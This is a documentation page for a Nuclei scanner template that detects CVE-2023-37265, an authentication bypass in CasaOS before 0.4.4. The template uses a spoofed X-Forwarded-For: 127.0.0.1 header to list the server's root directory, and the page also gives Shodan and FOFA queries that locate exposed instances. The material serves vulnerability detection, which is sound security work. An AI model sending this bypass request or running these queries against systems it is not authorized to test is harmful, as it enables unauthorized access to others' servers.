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CasaOS < 0.4.4 - Authentication Bypass via Internal IP

ID: CVE-2023-37265

Severity: critical

Author: iamnoooob,DhiyaneshDK,pdresearch

Tags: cve,cve2023,oss,casaos,jwt,icewhale

Description

Section titled “Description”

CasaOS is an open-source Personal Cloud system. Due to a lack of IP address verification an unauthenticated attackers can execute arbitrary commands as root on CasaOS instances. The problem was addressed by improving the detection of client IP addresses in 391dd7f. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can’t, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.

YAML Source

Section titled “YAML Source”
id: CVE-2023-37265


info:
  name: CasaOS  < 0.4.4 - Authentication Bypass via Internal IP
  author: iamnoooob,DhiyaneshDK,pdresearch
  severity: critical
  description: |
    CasaOS is an open-source Personal Cloud system. Due to a lack of IP address verification an unauthenticated attackers can execute arbitrary commands as `root` on CasaOS instances. The problem was addressed by improving the detection of client IP addresses in `391dd7f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.
  impact: |
    Successful exploitation allows unauthorized access to the CasaOS system.
  remediation: The problem was addressed by improving the detection of client IP addresses in 391dd7f. This patch is part of CasaOS 0.4.4.
  reference:
    - https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad
    - https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr
    - https://github.com/IceWhaleTech/CasaOS-Gateway/commit/391dd7f0f239020c46bf057cfa25f82031fc15f7
    - https://github.com/IceWhaleTech/CasaOS-Gateway/security/advisories/GHSA-vjh7-5r6x-xh6g
    - https://github.com/komodoooo/Some-things
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-37265
    cwe-id: CWE-306
    epss-score: 0.04239
    epss-percentile: 0.92256
    cpe: cpe:2.3:o:icewhale:casaos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: icewhale
    product: casaos
    shodan-query:
      - http.html:"/CasaOS-UI/public/index.html"
      - http.html:"/casaos-ui/public/index.html"
    fofa-query:
      - body="/CasaOS-UI/public/index.html"
      - body="/casaos-ui/public/index.html"
  tags: cve,cve2023,oss,casaos,jwt,icewhale


http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/folder?path=%2F"


    headers:
      X-Forwarded-For: 127.0.0.1
    matchers:
      - type: word
        words:
          - '"success":200'
          - '"message":"ok"'
          - 'content'
          - 'is_dir'
        condition: and


    extractors:
      - type: json
        json:
          - .data.content[].path
# digest: 4b0a00483046022100d75c1eac83613854f0c0cd2cad0d0ebfcf75b885c049d5e2bc61c9fe453fc789022100bc0aea5c5e4cb516d6967e0628a665a8942cd2c705e3e03a75f24197d522a46a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-37265.yaml"

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